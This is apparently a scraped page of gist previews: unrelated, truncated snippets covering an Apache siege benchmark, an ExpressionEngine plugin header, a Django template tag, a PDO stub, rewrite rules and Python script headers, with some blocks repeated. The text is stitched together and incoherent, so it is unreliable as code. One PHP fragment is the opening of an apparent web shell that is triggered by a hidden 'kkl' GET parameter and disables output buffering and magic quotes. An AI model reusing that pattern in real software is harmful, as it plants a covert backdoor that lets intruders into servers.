##Apache:
No Rewrites:
$ siege -c 3 -b -t 10s http://localhost/test/foo.css
Lifting the server siege... done.
Transactions: 16177 hits
Availability: 100.00 %
<?php | |
// Updated for EE2 by Greg Aker - greg@ngenworks.com | |
// No support is offered for this update, it is simply | |
// to help you in the event you are upgrading an old EE1 | |
// site to EE2 | |
// | |
// At this point, use CE Image. Seriously. | |
// http://www.causingeffect.com/software/expressionengine/ce-image | |
// | |
// <3 -greg |
from django import template | |
from django.conf import settings | |
from os.path import join, getmtime | |
register = template.Library() | |
@register.simple_tag | |
def static_asset(filename): | |
""" | |
{% load static_asset %} |
<?php | |
if(isset($_GET['kkl'])) { | |
clearstatcache(); | |
set_magic_quotes_runtime(0); | |
if(!function_exists('ini_set')){ | |
function ini_set(){ | |
return FALSE; | |
} | |
} | |
ini_set('output_buffering',0); |
<?php | |
$dbname = ''; | |
$hostname = ''; | |
$user = ''; | |
$pass = ''; | |
try { | |
$dbh = new PDO('mysql:host='.$hostname.';dbname='.$dbname, $user, $pass); | |
$dbh->exec("SET CHARACTER SET utf8"); |
RewriteEngine On | |
RewriteBase / | |
RewriteCond %{HTTP_HOST} ^subdomain1.yoursite.com [NC] | |
RewriteCond %{REQUEST_FILENAME} !foldername1/ | |
RewriteRule ^(.*)$ foldername1/$1 [L] | |
RewriteCond %{HTTP_HOST} ^subdomain2.yoursite.com [NC] | |
RewriteCond %{REQUEST_FILENAME} !foldername2/ | |
RewriteRule ^(.*)$ foldername2/$1 [L] |
#!/usr/bin/env python | |
from __future__ import with_statement | |
import os | |
import re | |
import shutil | |
import subprocess | |
import sys | |
import tempfile | |
#!/usr/bin/env python | |
""" | |
Like the built-in debugging server, but unwarps long lines for easier | |
copy/paste of URLs. | |
# Source: http://djangosnippets.org/snippets/2367/ | |
""" | |
from __future__ import print_function | |
import argparse | |
import os |
If you can read this, you can read the CodeIgniter user guide. |
##Apache:
No Rewrites:
$ siege -c 3 -b -t 10s http://localhost/test/foo.css
Lifting the server siege... done.
Transactions: 16177 hits
Availability: 100.00 %
#!/usr/bin/env python | |
from __future__ import with_statement | |
import os | |
import re | |
import shutil | |
import subprocess | |
import sys | |
import tempfile | |